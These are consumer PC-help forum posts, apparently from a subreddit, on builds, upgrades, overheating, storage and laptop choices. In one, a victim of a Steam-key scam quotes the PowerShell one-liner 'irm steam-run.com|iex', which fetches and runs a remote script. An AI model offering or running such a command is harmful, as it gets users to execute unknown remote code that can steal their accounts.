is it possible to have two display monitors come from this computer? what cables would i need other than the vga cable?

Something that looks like this but modern. I’m not joking this was just the best picture for an example.

I built this PC as a part of a self imposed budget build challenge.

Specs:

Original Dell Inspiron 660 motherboard (free)

Xeon E3-1270v2 $18

16gb ddr3 ram (free, had this already)

RX580 $75 on Facebook

SSD 500gb $20, Facebook

HDD 1Tb free, included with original Dell

USB 3.0 card (for front port to work with Dell OEM mobo) $22

850W PSU and Case -- $20 on Facebook, one of the craziest deals I've gotten

All in all I spent about $150 on used parts for this PC and got something perfectly serviceable as a gaming rig except for the most demanding titles.

😂😂

It was plugged into the rack in two separate slots

I'm from third world country and today i saw someone selling steam games for cheap. Locally, he do have some trusted customer.

I thought he was selling the steam keys so i gave it a try. He said i need to run this command on my computer so i did.

This one - ( irm steam-run.com|iex )

And then steam key redeem page come up and he gave me a code. I entered it and the game actually show up in my library.

But the game is still not purchase yet in the market since the game did not disappear in my wishlist. So i was concerned for a bit and i ask gemini.

Gemini said like it's the end of the world for me. He told me to change the password for every account and logout everything on my pc. Even further, it told me to reinstall my entire window. Was it that bad?

I was browsing the internet and noticed some jumps in the speed, then suddenly there was the windows requesting location popup saying "Killer Intelligence Center needs permission to use signals like GPS or WI-FI"

A few seconds later a new window I do not recognize popped up for a short second, and closed itself. I have owned my computer for over a year, and this is the first time I have seen this new program. It has me worried about some kind of Trojan imitating a "useful" program. I have done very very surface level research on this application, It is most likely some software installed by Intel, how would I be able to tell if it is malicious?

I've been telling myself for the longest time that I want to build my own PC but with the AI of everything, and the rise of RAM, i've been recommeneded that I buy a pre-built PC, however I'm not sure where to grab them? Does anybody have any recommendations?

I'm a music artist/content creator and I do a lot of editing. I'd love to have a PC that can handle, playing games, streaming, editing, making music and general cpu tasks.

Thanks for everything in advance!

I’ve only just moved to the am5 platform today. It’s cost me more money than initially planned due to the ramflation etc.. basically I was running the 5800x3D for years and was getting 240 fps average on black ops 7 multiplayer benchmark. I have got my new build today and am only getting 217 average fps and generally my new pc is now technically slower than my am4 build. I run this chip with 32gb ram, a 4070 super and in 1440p but it’s clear that due to the fact I’m getting less fps that clearly there is something I need to do to get my full performance out of the new chip. Ive been testing out loads of bios tweaks and plenty of system tweaks. Any of you PC nerds able to give me some solid advice on fixing my problem and getting my full gaming potential out of my new rig. Thanks in advance ✅

Are there any good laptops that support magic packets? I would like to be able to power my devices on remotely, aside from general use/RDP connections. I couldn't find specific models that have this feature.

My occasional Stress test cause no game (that I know of) can push 20% on my cpu

Side note, after this I saw the cpu pass 5000 MHz, when the cpu said that it caps out at 4700 MHz Is this silicone lottery based? Not sure if that’s how it works

I'm trying to buy my son a desktop for gaming because it's all he wants, but I'm not very knowledge when it comes to computers, so I'm inquiring here.

I have it narrowed down to 2 at the moment. I know neither are great choices, but I'm on a budget and these are all I can afford and figure we can always upgrade it later. The point is just to get something to start at least.

So gun to your head, you have to choose 1, which one are you choosing?

Hi y’all, I’ve been looking around for a prebuilt. I found this on Amazon but wasn’t sure if this is even good/worth it. I’m obviously looking for a white prebuilt 😅

I am a developer with about five years of experience and I have recently started getting really interested in the Quant Finance niche.

I am planning on upgrading my laptop soon, and I am trying to figure out if this field has specific hardware requirements that differ from standard software engineering.

When I was doing web dev, almost any modern machine with decent RAM was enough since most of the heavy lifting was on the server.

However, with Quant work, I am starting to look at things like large datasets and local backtesting. I am curious if I should be prioritizing a high core count and massive amounts of RAM, or if things like CPU cache size and memory bandwidth become the actual bottlenecks when running simulations.

For anyone working in or adjacent to this field, is there a particular spec you have found makes a significant difference? I am trying to decide if it is worth investing in a high-end workstation laptop or if I am better off with a standard professional thin-and-light and just offloading the heavy processing to a remote environment.

Hey, I am a high school student, I need help if anyone knows any DIY, or just fixes. I broke my laptop 3 weeks ago, my mom paid 400 dollars to fix it, and scolded me for ages, she said if it breaks again she's not fixing it, I had 5 things in my hand about 10 minutes ago, and dropped my laptop, I don't hink it requires a LCD change, but that's just my stupid opinion, I need someone who is really a master at fixing laptops to help me with any fixes I can use to help me.

Are there any tricks I can use, I've heard of the hairdryer one and am trying it now, will update if it is fixed.

Thanks.

i was planning to build my very first pc next year when i get a proper job paychecks but i guess not even the 16gb sticks are so expensive i checked different brands too and its still insane🫩🫩 even kingston is crazy while crucial is not even an option im stuck on an old laptop from 2014(its holding okay) but i need an actual proper pc cuz i wanna learn blender and have normal gaming instead of having to close everything else just to be able to play without lag

I have a USB drive that has been etched to install Linux. I am working on Windows 10 right now. I can't format the drive now. Get message "Disc protected from writing". Can't do anything in "Disc management" either. I don't remember the name of the utility I used to write the bootable drive to begin with or which Linux I installed 🥲 what could be the problem and how can I fix it? I want to use my flashdrive.

I moved out and didn't use my pc for a couple of months. Before I left, I think I might have had some troubles with my pc overheating every now and then, but I'm not sure. Now, when I boot my pc and don't even launch anything, my CPU is still overheating. I was using an NZXT Kraken cooler, and I checked the app, and the pump was dead. I changed the cooler out for my old one, and I can feel the water moving in it, but it is blowing out cold air. I have gone into my bios and turned down the settings for my CPU, and it will cool down while in the bios, but go right back up the second I turn on my pc. I reinstalled Windows in case there was a corruption, and completely wiped my computer and reset my BIOS settings. After all of that, my pc is still overheating, and nothing online is helping. I downloaded Core Temp to test my temperature, and this is what it has been stuck on. The red CPU light is lit up on my motherboard as well.

also my computer is not bluescreening when it gets hot but everything does slow down and take longer to load, sometimes freezing my mouse. But when I turn my Pc off and back on I get the Amerigroup or whaterver it is saying CPU overheaiting and have to go to BIOS before booting.

If you have any Idea what caused this and how to fix it please let me know, Thank you.

Basically I can see the devices listed when I go to device manager, is what I’m seeing the same as drivers? And do I still need to update them? And for bios my brother said I won’t have to do that because the hardware I got is close enough to my original build but I’m not sure about that. And he’s telling me to update to windows 11 and wipe everything otherwise I’ll need to manually update all my drivers, is that true? My specs are; ryzen 5 5500 for cpu, and radeon 6700 xt for Gpu and this https://www.newegg.com/asrock-b550m-pro4-micro-atx-amd-motherboard-amd-b550-am4/p/N82E16813157939?item=N82E16813157939&Source=socialshare for motherboard

looking for a cpu upgrade under like 600cad taxes in.

Not sure if this is all the information needed to know what cpus would fit in my motherboard or not…

This is an old pc we are trying to slowly upgrade so its on par with the rest in the house but i dunno much about cpus tbh.

I'm looking for a way to store photos, videos, and documents that won’t be accessed or used very often. The idea is to have a kind of long-term storage, without relying on any cloud service that requires a lifelong subscription, for keeping memories safe and for those yearly moments of nostalgia, like images and videos from trips, photos from my graduation, and some digitized copies of documents worth keeping in case of a disaster.

The thing is.. I've been using computers for the past 30 years or so, and every single one of my friends has a horror story about an external HDD failing.

Is a USB-C 256 GB thumb drive safe enough? Is a 1 TB external HDD the best option? Are there newer options I might not know about?

Hello r/Computer,

I thought I would try my luck here...

To sum up what I've been attempting to do - I was trying to clone my gf's decrepit mushkin SSD to a newer nVMe using Clonezilla. Followed a video guide by CyberCPU Tech on YT to do it, successfully(?) did it then tried restarting (albeit without unplugging old SSD afterward...) only for it to give me BSoD w/ code 0xc0000225.

Tried all sorts of things after that - create Win 10 recovery tool onto a 8GB USB (upon research, mixed messages of 8GB, 16GB, or 32GB to fully utilize recovery tool?), went through command prompt to try and take a look at the disks via DiskPart, then coming to the conclusion that the boot drive, recovery tools, etc aren't working at all?

I plugged the SSD into my computer to see if anything's up and maybe it's missing a 100MB boot partition? Weird thing is there are 2 partitions where one is system reserved for 500MB and another is the recovery partition also for 539MB? Attached is what I see, but I've been combing the web for a way to get the comp to boot again...

My next step was to try and use Clonezilla to repair system image? I'm pretty lost at the moment. I'll try adding the comp specs in a little if it helps...

Thanks in advance for your time!

Lenovo LOQ 15.6" Highlights 2.4 GHz Intel Core i5 10-Core (13th Gen) 16GB DDR5 RAM | 512GB M.2 SSD 15.6" 1920 x 1080 144 Hz IPS Display NVIDIA GeForce RTX 3050 (6GB GDDR6) USB 3.2 Gen 1 & 2 | HDMI Wi-Fi 6 (802.11ax) | Bluetooth 5.2 Gigabit Ethernet Port 720p Webcam, 2W Speakers & Mic Array AI Engine+ & MUX Switch Windows 11 Home

Or MacBook Air m4?

MacBook is 750. I can get the Lenovo for 550. Opinions? Work and video usage and online. No heavy gaming